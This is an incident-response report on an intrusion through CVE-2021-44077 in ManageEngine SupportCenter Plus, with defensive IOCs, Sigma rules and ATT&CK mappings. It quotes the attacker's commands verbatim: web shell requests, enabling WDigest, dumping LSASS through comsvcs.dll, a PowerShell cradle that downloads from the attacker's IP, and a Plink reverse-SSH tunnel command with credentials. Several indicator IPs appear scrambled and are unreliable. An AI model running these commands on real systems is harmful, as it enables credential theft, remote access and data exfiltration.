In this multi-day intrusion, we observed a threat actor gain initial access to an organization by exploiting a vulnerability in ManageEngine SupportCenter Plus. The threat actor, discovered files on the server and dumped credentials using a web shell, moved laterally to key servers using Plink and RDP and exfiltrated sensitive information using the web shell and RDP.
The FBI and CISA published an advisory noting that APT attackers were using CVE-2021-44077 to gain initial access to the networks of organizations of Critical Infrastructure Sectors such as healthcare, financial, electronics and IT consulting industries.
The intrusion began with the exploitation of an internet-facing instance of ManageEngine SupportCenter Plus via the CVE-2021-44077 vulnerability. The threat actor successfully exploited the RCE vulnerability in SupportCenter Plus, which allowed them to drop a web shell in an internet accessible directory. The exploit we witnessed looks very similar to a publicly available POC exploit on GitHub.
The threat actor then performed some generic enumeration of the system and enabled WDigest authentication on the server using the web shell. Enumeration on the system included querying network configuration, a list of domain joined computers, user and OS information, and current user sessions on the beachhead.
Periodically over several days, the threat actor returned and checked what users were logged into the beachhead server using the webshell. Finally, on the seventh day, the threat actors performed an LSASS dump on the system, which captured the credentials of an administrative user that had recently logged into the system. In this case, the threat actor had access to the user’s plaintext credentials as a result of WDigest authentication being previously enabled.
The following day the threat actor downloaded ekern.exe, which was a renamed version of Plink, and deployed a script to establish a reverse SSH connection to the RDP port of the beachhead server. An interactive RDP session was successfully established to the beachhead server by the threat actor where they began enumerating other computers on the network.
From the beachhead, lateral movement was conducted to three other servers via RDP, including a domain controller, a file server, and another server. Confidential files were exfiltrated from the network throughout this intrusion using a mixture of web shell access and hands-on keyboard access via RDP.
These files, were critical to the business and it’s partner. The documents were selectively chosen as if the attackers were looking for specific material. When it came time to exfiltrate certain files or folders, one folder of the utmost importance was exfiltrated while passing on other partner folders and files.
Besides the files and folders mentioned, internal machine certs were reviewed and later exfiltrated. The exfiltrated information has not been found in any public dumps or sales to date.
The threat actors were evicted from the network soon after stealing this information.
We offer multiple services including a Threat Feed service which tracks Command and Control frameworks such as Cobalt Strike, BumbleBee, Covenant, Metasploit, Empire, PoshC2, etc. More information on this service and others can be found here.
Initial access began with the exploitation of ManageEngine SupportCenter Plus via CVE-2021-44077, an unauthenticated remote code execution vulnerability. There are two main HTTP requests responsible for this exploit.
The first request sent a POST containing the contents of a PE file which was written to:
The second request, attempted to install Zoho’s Site24x7 performance monitoring tool but indirectly invoked the uploaded msiexec.exe file. More details regarding this are covered in the Execution section.
The exploitation attempts against the internet-facing server arrived from two Tor exit nodes. Each step of the exploit was observed originating from a different TOR exit node.
The second stage of the CVE-2021-44077 exploit involved initiating the installation of Zoho’s Site24x7 performance monitoring tool. Support Center Plus will do this by invoking the installation via msiexec.exe by running:
msiexec.exe /i Site24x7WindowsAgent.msi EDITA1=asdasd /qn
The running path of Support Center Plus at the time this command runs is
C:\Program Files\ManageEngine\SupportCenterPlus\bin\ which means the
msiexec.exe uploaded by the threat actor will be favored rather than the legitimate Microsoft utility.
Once the malicious
msiexec.exe is executed an embedded Java payload will be decoded and written to:
The parameters passed to
msiexec.exe are never used and the Site24x7 performance monitoring tool is never installed.
The web shell was written to:
This location is web accessible which means the threat actors can interact with the web shell through a web browser from the internet. Here are a few commands run through the web shell.
https://server.example/custom/login/fm2.jsp?cmd=arp -a https://server.example/custom/login/fm2.jsp?cmd=del c:\windows\temp\logctl.zip https://server.example/custom/login/fm2.jsp?cmd=systeminfo https://server.example/custom/login/fm2.jsp?cmd=tasklist https://server.example/custom/login/fm2.jsp?cmd=wmic computersystem get domain
The following diagram visually illustrates the CVE-2021-44077 exploitation and execution process.
Interesting information related to msiexec.exe
compiler timestamp of Thu Nov 14 12:00:07 2075 debugger timestamp of Wed Oct 03 09:01:59 2068 File version 220.127.116.11 PDB of c:\users\administrator\msiexec\msiexec\msiexec\obj\x86\debug\msiexec.pdb .NET(v4.0.30319)
The threat actors had previously uploaded a different file, named the same thing minutes before the web shell was created. After the execution of that file seemed to fail, the threat actors uploaded the msiexec.exe file from above which created the web shell seconds later.
The two msiexec files included the same web shell but had some differing characteristics. Here is some information on the first attempted msiexec file which failed.
compiler timestamp of Mon Oct 17 01:32:17 2067 debugger timestamp of Sat Apr 15 14:30:09 1995 File version 18.104.22.168 PDB of m:\work\shellll\msiexec\msiexec\obj\release\msiexec.pdb .NET(v2.0.50727)
The main difference being the interesting PDB path m:\work\shellll\ and the differing .NET versions.
We can see from the Catalina.txt log that when the threat actors run certain commands such as fxs.bat (RDP tunneling) the application thinks the process is hung (runs for 30+ seconds) and creates a warning message:
[REDACTED]|[REDACTED]|[org.apache.catalina.valves.StuckThreadDetectionValve]|[WARNING]|: Thread [/login/fm2.jsp-1649702723966_###_] (id=) has been active for [39,915] milliseconds (since REDACTED]) to serve the same request for [http://REDACTED:8080/custom/login/fm2.jsp?cmd=C%3A%5CWindows%5Ctemp%5Cfxs.bat] and may be stuck (configured threshold for this StuckThreadDetectionValve is  seconds). There is/are  thread(s) in total that are monitored by this Valve and may be stuck.|
[REDACTED]|[REDACTED]|[com.manageengine.servicedesk.filter.SdpSecurityFilter]|[INFO]|: RequestURI::::::: /login/fm2.jsp|
These are all the Support Center Plus logs we could find relating to this intrusion, leaving a lot to be desired.
The web shell dropped to the beachhead during the exploitation process was the only form of persistence observed during the intrusion.
There are multiple remote interaction capabilities in the Java web shell, including:
- Execution of commands
- View and download files
- Creation of new files
Privilege escalation was not needed on the beachhead ManageEngine server as the exploit provided the execution of commands through the web shell SYSTEM level privileges. Later during the intrusion they dumped credentials for a user that had privilege’s allowing lateral movement throughout the environment. More on the dumping method in the Credential Access section.
During the initial access, an attacker uploaded a binary named msiexec.exe onto the system. This binary isn’t the legitimate Microsoft msiexec.exe, rather it is a dropper that contains an embedded encoded web shell. The naming of this executable has the benefit of blending into the environment and appearing legitimate, while also being critical to the exploitation of CVE-2021-44077.
During a later stage of the intrusion, an attacker dumped the LSASS process (see Credential Access section). After exfiltrating the LSASS dump, the attacker deleted the dump file to hide their traces.
Once the credentials were harvested from the LSASS dump, the threat actor returned to the environment and downloaded the binary named ekern.exe to tunnel RDP connections over SSH. Ekern.exe is the plink.exe tool renamed in order to stay under the radar. Furthermore, the name ekern.exe is similar to the name of a known component of ESET named ekrn.exe.
On the beachhead system, the threat actor queried the registry checking to see if WDigest was enabled:
WDigest allows for credential caching in LSASS which will result in a users plaintext password being stored in memory. The intended purpose of WDigest credential caching is to facilitate clear text authentication with HTTP and SASL, however, this can be misused by the threat actor to retrieve the plaintext credentials of a user.
Here’s the command executed from the web shell:
powershell.exe reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential
This registry value was not present on the system, which informed the attacker that WDigest was disabled on the beachhead.
Twenty-two seconds later, the threat actor enabled WDigest using the following command, via the web shell:
powershell.exe Set-ItemProperty -Force -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' -Name 'UseLogonCredential' -Value '1'
After enabling WDigest, the attacker checked back numerous times over multiple days to see who was signed in. During this period, a privileged user logged onto the system for maintenance work and after which, the threat actor dumped LSASS using comsvcs.dll. The threat actor listed the running processes via the tasklist command and used the PID of LSASS from the output to pass to the credential dumping command.
"C:\windows\System32\rundll32.exe" C:\windows\System32\comsvcs.dll MiniDump C:\windows\temp\logctl.zip full
The LSASS dump was then exfiltrated out of the environment for offline analysis and rest of the actions were conducted from the account whose password was extracted from the LSASS dump.
The threat actor used the web shell
fm2.jsp to conduct their initial discovery on the host. Below are the GET requests sent to the web shell with the discovery commands passed to the
cmd parameter, which runs as PowerShell.
powershell.exe reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential powershell.exe query session powershell.exe systeminfo powershell.exe quser powershell.exe arp -a powershell.exe wmic computersystem get domain powershell.exe netstat -an powershell.exe ipconfig /all
They also used the web shell to review directories, here’s a few examples
/custom/login/fm2.jsp?p=C:/Windows/Temp&action=get /custom/login/fm2.jsp?p=C:/Windows&action=get /custom/login/fm2.jsp?p=C:/&action=get /custom/login/fm2.jsp?p=C:/ALLibraries&action=get /custom/login/fm2.jsp?p=C:/Users&action=get
C:/Windows/Temp C:/Windows C:/ C:/ALLibraries C:/Users
The threat actor used the web shell to download
file.exe onto the beachhead and save it as
ekern.exe using a PowerShell download cradle.
powershell.exe (New-Object System.Net.WebClient).DownloadFile('hXXp://23.81.246[.]84/file.exe', 'c:\windows\temp\ekern.exe')
ekern.exe was a renamed copy of
Plink.exe, a command-line SSH client.
Plink was used in conjunction with a batch script named
FXS.bat to establish an SSH connection with the threat actor’s server.
Let’s break down what this command means:
echo y |
Providing “y” as standard input to the executable. To confirm when plink asks if they would like the public key added to known hosts.
Force the use of SSH (Plink can support other protocols)
Define a specific target port for SSH connection
Connect with the specified username
Password to authenticate with
Listen on 22.214.171.124:49800 and forward it to 127.0.0.1:3389. This effectively proxies the request to the host running the command
Target server to SSH
The actor defined a custom target port to Plink (
-P 443) instead of the default SSH port of
The actor used the technique of port forwarding to listen on the remote port, 23.81.246[.]84:49800, and forward the requests to 127.0.0.1:3389. This resulted in the actor being able to RDP to the beachhead server via the SSH tunnel.
FXS.bat was re-used multiple times to establish connections to various hosts.
The actor then replaced the loopback address with various internal hosts. The ManageEngine server acted as a proxy that forwarded the RDP traffic between the target host and the threat actor’s server:
echo y|C:\windows\temp\ekern.exe -ssh -P 443 -l admin1 -pw Asde345@#$345sdfDFVCDF -R 126.96.36.199:49800:10.X.X.X:3389 188.8.131.52
Command and Control
All command and control traffic we observed was through the SSH tunnel to
184.108.40.206. That IP address was exposing an SSH server on port
443 which was what the beachhead made connections with.
The headers of
220.127.116.11:433 reported the threat actor was using a Bitvise SSH Server:
SSH-2.0-8.49 FlowSsh: Bitvise SSH Server (WinSSHD) 8.49: free only for personal non-commercial use Key type: ssh-rsa Key: AAAAB3NzaC1yc2EAAAADAQABAAABgQDiz99PA7RuWA1mO7OHiG83q0yqpMF2U/b2iDZNfrLSHnq0 mb+H/RexV2sgYwWaKNDTKtm6+YMlAgwOpr8dW4+22pknXagsBs1ln/uza+a0QUZjhTi1/jGyaiLL 0AV0WPr7u7mAeCx4U9s0n2WTyXmGZAgZHJBQl+wsRWJgbSxSKAr4cV6knFNuK0oXxp1NzJXzMQeD O2sUqQ8+uymA4TMNLGyX6T5EHQiP2vVhio7NlPsnqJb7ilYsrPWPWIV/rB5ALii+G598moQbJcLL BanDFjWDQ+7z3fNHN0YH7wIozkdgsQKqBVv37HQcCYfySc82HYq+vD7yA54nS/UChZBHTTPXDupf JJScG9vJKklKNb5a49uzDVhsB9yT/Ihrvlex52z1gXenrt97WnaGILsl0ljuVbtBQmELZK126hPJ IysJ+YuBfqDYokvELi7aZKRR6wjYFeGpcB0FErekuUaalUSvuX14xHxtm2vuKVARwdogMBvKDLL7 B5gxckIsNuk= Fingerprint: 68:22:ef:82:8b:57:e4:62:37:86:61:bc:98:fc:53:35
After getting a foothold on the beachhead machine, an attacker first downloaded the postgres DB backup of the ManageEngine SupportCenter Plus application using the web shell.
Seven days after initial access, an attacker exfiltrated a certificate from the server, a Visio file, and an excel sheet for the accounts via web shell:
Server certificate downloaded via web shell:
Visio file downloaded via web shell:
Excel file downloaded via web shell:
The threat actors were evicted from the network soon after stealing confidential information.
SSH Reverse Proxy 18.104.22.168 Webshell Query IP 22.214.171.124 126.96.36.199 188.8.131.52 184.108.40.206 ManageEngine Exploit Origin 220.127.116.11 18.104.22.168 Canary Document Alert IP 22.214.171.124 126.96.36.199 (updated 6/6 15:55 UTC, was missing the 41 at the end)
fm2.jsp 05cee9b71bdd99c22dde19957a6169e7 a188d7283c2b4744c4e91f18c59588c8471a2a86 8703f52c56b3164ae0becfc5a81bfda600db9aa6d0f048767a9684671ad5899b FXS.bat 03cbb2227284c4842906d3576372e604 8aeb24b51b339446cac2cb0a4c93ad98f709cf53 6e5289df8be0403eda9f63f14c3b3c753a11e924e00484958166d03fcf922510 ekern.exe 848f7edb825813aee4c09c7f2ec71d27 4709827c7a95012ab970bf651ed5183083366c79 828e81aa16b2851561fff6d3127663ea2d1d68571f06cbd732fdf5672086924d msiexec.exe 0be5d9235059cb4f8b16fe798e822444 d18c88294c776815a5b1be0bd4508c9442b3877a 4d8f797790019315b9fac5b72cbf693bceeeffc86dc6d97e9547c309d8cd9baf msiexec.exe (failed) 9872E0A47E2F44BF6E22E976F061DAC0 916952C5407233EEC5C0176C0E04F88AF9E63978 C7862701AD23B631EF854570C67FC33331F6853DCA65D4C3E825E2C3BB9B16EE
See custom Sigma rules below for additional behaviors turned into rules. The threat actor would exploit ManageEngine via CVE-2021-44077 from a Tor Exit Node (188.8.131.52 and 184.108.40.206) followed by the execution of a webshell extractor matching the name msiexec.exe A batch script is used to facilitate rdp tunneling including the use of Plink. Canary alerts for documents exfiltrated from the network were observed being opened from the IP addresess 220.127.116.11 and 18.104.22.168
ET TOR Known Tor Exit Node Traffic group 48 ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 48 ET EXPLOIT [CISA AA21-336A] Zoho ManageEngine ServiceDesk Possible Exploitation Activity (CVE-2021-44077) ET INFO Generic HTTP EXE Upload Inbound ET INFO Executable Download from dotted-quad Host
Custom Sigma rules
PowerShell Download from URL: https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_powershell_download.yml
Process Dump via Rundll32 and Comsvcs.dll: https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_process_dump_rundll32_comsvcs.yml
Suspicious MsiExec Directory: https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_susp_msiexec_cwd.yml
Wdigest Enable UseLogonCredential: https://github.com/SigmaHQ/sigma/blob/b4cb047ae720b37b11f8506de7965dc29d5920be/rules/windows/registry/registry_set/registry_set_wdigest_enable_uselogoncredential.yml
Usage Of Web Request Commands And Cmdlets – PowerShell: https://github.com/SigmaHQ/sigma/blob/5542c8c9d98feff21c0083000df20e5fe9664a63/rules/windows/powershell/powershell_script/posh_ps_web_request_cmd_and_cmdlets.yml
Windows Webshell Creation: https://github.com/SigmaHQ/sigma/blob/fac67328275e58413f299ed4f69219ff40803d70/rules/windows/file/file_event/file_event_win_webshell_creation_detect.yml
Shells Spawned by Web Servers: https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_webshell_spawn.yml
Webshell Detection With Command Line Keywords: https://github.com/SigmaHQ/sigma/blob/329074d935ac81dd91cafdce5e5a43c95cca068d/rules/windows/process_creation/proc_creation_win_webshell_detection.yml
T1190 – Exploit Public-Facing Application
T1572 – Protocol Tunneling
T1012 – Query Registry
T1003 – OS Credential Dumping
T1087 – Account Discovery
T1057 – Process Discovery
T1021.001 – Remote Services: Remote Desktop Protocol
T1059.001 – Command and Scripting Interpreter: PowerShell
T1047 – Windows Management Instrumentation
T1070.004: File Deletion
T1078.002 – Domain Account
T1112 – Modify Registry
T1036 – Masquerading
T1505.003 – Server Software Component: Web Shell
Internal case #12993